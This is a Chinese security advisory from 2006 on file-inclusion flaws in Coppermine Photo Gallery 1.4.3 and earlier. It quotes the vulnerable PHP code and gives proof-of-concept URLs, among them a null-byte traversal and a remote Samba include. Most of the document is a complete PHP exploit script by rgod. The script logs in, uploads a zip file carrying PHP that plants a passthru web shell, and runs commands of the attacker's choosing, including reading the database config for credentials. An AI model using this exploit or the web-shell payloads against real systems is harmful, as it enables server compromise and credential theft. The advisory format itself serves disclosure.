安全研究
安全漏洞
Coppermine Photo Gallery远程代码注入漏洞
发布日期：2006-02-18
更新日期：2006-02-18
受影响系统：
Coppermine Photo Gallery <= 1.4.3描述：
BUGTRAQ ID: 16718
Coppermine是用PHP编写的多用途集成web图形库脚本。
Coppermine存在多个输入验证漏洞，攻击者可能利用这些漏洞在服务器上以Web进程权限在主机上执行任意命令。
由于没有正确的过滤用户输入，导致Coppermine中存在多个本地/远程文件包含问题：
1、在include/init.inc.php文件308-343行附近的处理lang参数时：
...
// Process language selection if present in URI or in user profile or try
// autodetection if default charset is utf-8
if (!empty($_GET['lang']))
{
$USER['lang'] = $_GET['lang']; [!!!!!!!!!!!!!!]
}
if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' . $USER['lang'] . '.php'))
{
$CONFIG['default_lang'] = $CONFIG['lang']; // Save default language
$CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');
}
elseif ($CONFIG['charset'] == 'utf-8')
{
include('include/select_lang.inc.php');
if (file_exists('lang/' . $USER['lang'] . '.php'))
{
$CONFIG['default_lang'] = $CONFIG['lang']; // Save default language
$CONFIG['lang'] = $USER['lang']; // [!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]
}
}
else
{
unset($USER['lang']);
}
if (isset($CONFIG['default_lang']) && ($CONFIG['default_lang']==$CONFIG['lang']))
{
unset($CONFIG['default_lang']);
}
if (!file_exists("lang/{$CONFIG['lang']}.php")) [!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]
$CONFIG['lang'] = 'english';
// We load the chosen language file
require "lang/{$CONFIG['lang']}.php"; [!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]
...
无需登录就可以包含任意本地文件。在[!!!!!]部分代码如下：
...
$USER['lang'] = $_GET['lang'];
...
$CONFIG['lang'] = $USER['lang'];
...
if (!file_exists("lang/{$CONFIG['lang']}.php"))
$CONFIG['lang'] = 'english';
...
require "lang/{$CONFIG['lang']}.php";
仅需使用“../”和空字符提供已有文件，上传恶意zip文件。在该文件中假设有以下php代码：
<?php
$suntzu=fopen("shell.php","w");
fputs($suntzu,"<?php system(\$HTTP_GET_VARS[CMD]);?>");
fclose($suntzu);
chmod("shell.php",777);
?>
现在：
http://[target]/[path]/thumbnails.php?lang=../albums/userpics/10002/shell.zip%00
这样就可以在目标系统启动命令：
http://[target]/[path]/shell.php?CMD=ls%20-la
2、在docs/showdoc.php文件21行中的漏洞代码：
...
if (isset($_REQUEST['f'])) { $file = $_REQUEST['f']; } else { $file = ''; }
...
poc：http://[target]/[path]/docs/showdoc.php?f=c:\boot.ini
http://[target]/[path]/docs/showdoc.php?f=\\192.168.1.2\c\shell.php
如果magic_quotes_gpc=on的话，斜线后的“c:\\boot.ini”就变成了“c:\boot.ini”，“\\\\192.168.1.2\\c\\shell.php”变成“\\192.168.1.2\c\shell.php”。
poc 2：http://[target]/[path]/docs/showdoc.php?f=c:\\boot.ini
http://[target]/[path]/docs/showdoc.php?f=\\\\192.168.1.2\\c\\shell.php
如果magic_quotes_gpc=off，“f”变成“c:\boot.ini”或“\\192.168.1.2\c\shell.php”，这样攻击者就可以包含本地或外部（Samba）资源。
<*来源：rgod （rgod@autistici.org）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=114028629810728&w=2
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
# ---cpg_143_incl_xpl.php 15.38 04/12/2005 #
# #
# Coppermine Photo Gallery <= 1.4.3 remote commands execution #
# coded by rgod #
# site: http://retrogod.altervista.org #
# #
# -> this works regardless of any php.ini settings, you need a normal user #
# account with upload rights in personal albums and at least one album #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu: "The direct and the indirect lead on to each other in turn. It is #
# like moving in a circle--you never come to an end. Who can exhaust the #
# possibilities of their combination?" #
/* a short explaination: arbitrary local inclusion issue in "lang"
argument in init.inc.php , ex.:
http://[target]/[path]/thumbnails.php?lang=../album/userpics/10002/shell.zip%00
(by a null char, regardless of magic_quotes_gpc settings, because of
Coppermine magic quotes disable code)
we need to upload a malicious .zip file with php code inside in a personal
album folder (no check on file contempt) and to include it (cycling inside
folders we will search for it - a subfolder is created in album/userpics/ dir,
it is numbered like this: 10000 + db userid).
We don't see any ouput including it, so the .zip file install a backdoor
called chinese.php inside Coppermine lang/ dir. Modify the .zip file code
if you need. After first run, if succeeded, you can launch commands manually:
http://[target]/[path]/lang/chinese.php?suntzu=netstat%20-ano
however script checks if new "chinese language file" is already installed
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
ob_implicit_flush (1);
echo'<html><head><title>**Coppermine Photo Gallery <= 1.4.3 remote cmmnds xctn**
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
**Coppermine Photo Gallery <= 1.4.3 remote cmmnds xctn** </p><p class="Stile6">a
script by rgod at <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a></p><table width="84%"><tr><td width="43%">
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input
type="text" name="host"> <span class="Stile5">* target (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/coppermine/ or just / ) </span></p><p><input type="text" name="cmd"> <span
class="Stile5">* specify a command ("cat ./../include/config.inc.php" to see dat
abase username & password...)</span></p><p><input type="text" name="USER"><span
class="Stile5"> a valid USER with upload rights in personal album folder </span>
</p><p> <input type="text" name="PASS"> <span class="Stile5"> ... and PASSWOR
D, required for STEP 1 and following... </span> </p> <p> <input type="text"
name="port"><span class="Stile5">specify a port other than 80 (default value)
</span></p><p><input type="text" name="proxy"><span class="Stile5">send exploit
through an HTTP proxy (ip:port)</span></p><p> <input type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';
function show($headeri)
{
$ii=0;$ji=0;$ki=0;$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1){
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++) {
echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {
echo "<td>0".htmlentities($datai)."</td>";
}
else {
echo "<td>".htmlentities($datai)."</td> ";
}
$ii++;$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++) {
echo "<td>".htmlentities($headeri[$li])."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //2x speed
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid proxy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='') {
$result = socket_connect($socket, $host, $port);
}
else {
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else {
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function refresh()
{
flush();
ob_flush();
usleep(5000000000);
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.htmlentities($host); die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid prozy...';die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);echo nl2br(htmlentities($html));
refresh();
}
$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$cmd=$_POST[cmd];
$USER=$_POST[USER];$PASS=$_POST[PASS];
$proxy=$_POST[proxy];
echo "<span class=\"Stile5\">";
if (($host<>'') and ($path<>'') and ($cmd<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
$host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
$path=str_replace("\r","",$path);$path=str_replace("\n","",$path);
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$cmd=urlencode($cmd);
#STEP 0 -> Check if backdoor already installed...
$packet ="GET ".$p."lang/chinese.php?suntzu=$cmd HTTP/1.1\r\n";
$packet.="Host: $host\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master!",$html)) {die("chinese.php already installed...<br>
Exploit succeeded...<br>"); }
//if you are here
if (($USER=='') | ($PASS==''))
{die("chinese.php not installed<br>
we need a username and a password<br>");}
}
if (($host<>'') and ($path<>'') and ($cmd<>'') and ($USER<>'') and ($PASS<>''))
{
#STEP 1 -> Login...
$data="username=".urlencode($USER)."&password=".urlencode($PASS)."&submitted=Login";
$packet ="POST ".$p."login.php?referer=index.php HTTP/1.1\r\n";
$packet.="Referer: http://".$host.$path."login.php?referer=index.php\r\n";
$packet.="Host: $host\r\n";
$packet."Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$COOKIE=$temp2[0];
$temp2=explode(" ",$temp[2]);
$COOKIE.=" ".str_replace(";","",$temp2[0]);
$COOKIE=str_replace("\r","",$COOKIE);$COOKIE=str_replace("\n","",$COOKIE);
echo "COOKIE ->".htmlentities($COOKIE)."<BR>";
#STEP 2 -> Upload the malicious zip file...
$data='-----------------------------7d613b1d0448
Content-Disposition: form-data; name="file_upload_array[]"; filename="c:\suntzuuuu.zip"
Content-Type: application/octet-stream
<?php $sun_tzu=fopen("./lang/chinese.php","w");
fputs($sun_tzu,"<?php echo \"Hi Master!\";ini_set(\"max_execution_time\",0);passthru(\$HTTP_GET_VARS[suntzu]);?>");
fclose($sun_tzu); chmod("./lang/chinese.php",777);?>
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="file_upload_array[]"; filename=""
Content-Type: application/octet-stream
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="file_upload_array[]"; filename=""
Content-Type: application/octet-stream
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="file_upload_array[]"; filename=""
Content-Type: application/octet-stream
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="file_upload_array[]"; filename=""
Content-Type: application/octet-stream
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="URI_array[]"
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="URI_array[]"
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="URI_array[]"
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="control"
phase_1
-----------------------------7d613b1d0448--
';
$packet ="POST ".$p."upload.php HTTP/1.1\r\n";
$packet.="Referer: http://".$host.$path."upload.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d613b1d0448\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$COOKIE."\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
$temp=explode("unique_ID\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$UNIQUE_ID=$temp2[0];
echo "UNIQUE ID ->".htmlentities($UNIQUE_ID)."<BR>";
#STEP 3 -> Select an album...
$data='-----------------------------7d6df34d0448
Content-Disposition: form-data; name="unique_ID"
'.$UNIQUE_ID.'
-----------------------------7d6df34d0448
Content-Disposition: form-data; name="control"
phase_2
-----------------------------7d6df34d0448--';
$packet ="POST ".$p."upload.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."upload.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6df34d0448\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="Host: $host\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$COOKIE."\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
show($html);
$junk=chr(0x0a).chr(0x20).chr(0x20).chr(0x20).chr(0x20).
chr(0x20).chr(0x20).chr(0x20).chr(0x20).chr(0x20).
chr(0x20).chr(0x20).chr(0x20).chr(0x20).chr(0x20).
chr(0x20).chr(0x20);
$temp=explode("* Personal albums\">$junk<option value=\"",$html);
$temp2=explode("\"",$temp[1]);
$option=$temp2[0];
if (($option=='') or (strlen($option)>2))
{ $option=1;}
echo "ALBUM NUMBER ->".htmlentities($option)."<BR>";
#STEP 4 -> Insert .zip file in a valid album...
$data='-----------------------------7d628b39d0448
Content-Disposition: form-data; name="album"
'.$option.'
-----------------------------7d628b39d0448
Content-Disposition: form-data; name="title"
-----------------------------7d628b39d0448
Content-Disposition: form-data; name="caption"
-----------------------------7d628b39d0448
Content-Disposition: form-data; name="keywords"
-----------------------------7d628b39d0448
Content-Disposition: form-data; name="control"
phase_2
-----------------------------7d628b39d0448
Content-Disposition: form-data; name="unique_ID"
'.$UNIQUE_ID.'
-----------------------------7d628b39d0448--
';
$packet="POST ".$p."upload.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."upload.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d628b39d0448\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="Host: $host\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$COOKIE."\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
#STEP 5 -> Include the evil .zip file and launch commands...
$anumber=9999;
for ($i=0; $i<=200; $i++)
{ $anumber++;
$xpl=urlencode("../albums/userpics/".$anumber."/suntzuuuu.zip".chr(0x00));
$packet ="GET ".$p."thumbnails.php?lang=$xpl HTTP/1.1\r\n";
$packet.="Host: $host\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
$packet ="GET ".$p."lang/chinese.php?suntzu=$cmd HTTP/1.1\r\n";
$packet.="Host: $host\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master!",$html)) {die ("Exploit succeeded...<br>
you have a shell in http://".htmlentities($host.$path)."/lang/chinese.php<br>");}
}
//if you are here...
echo "Exploit failed...";
}
echo "</span>";
?>
建议：
厂商补丁：
Coppermine
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.chezgreg.net/coppermine/
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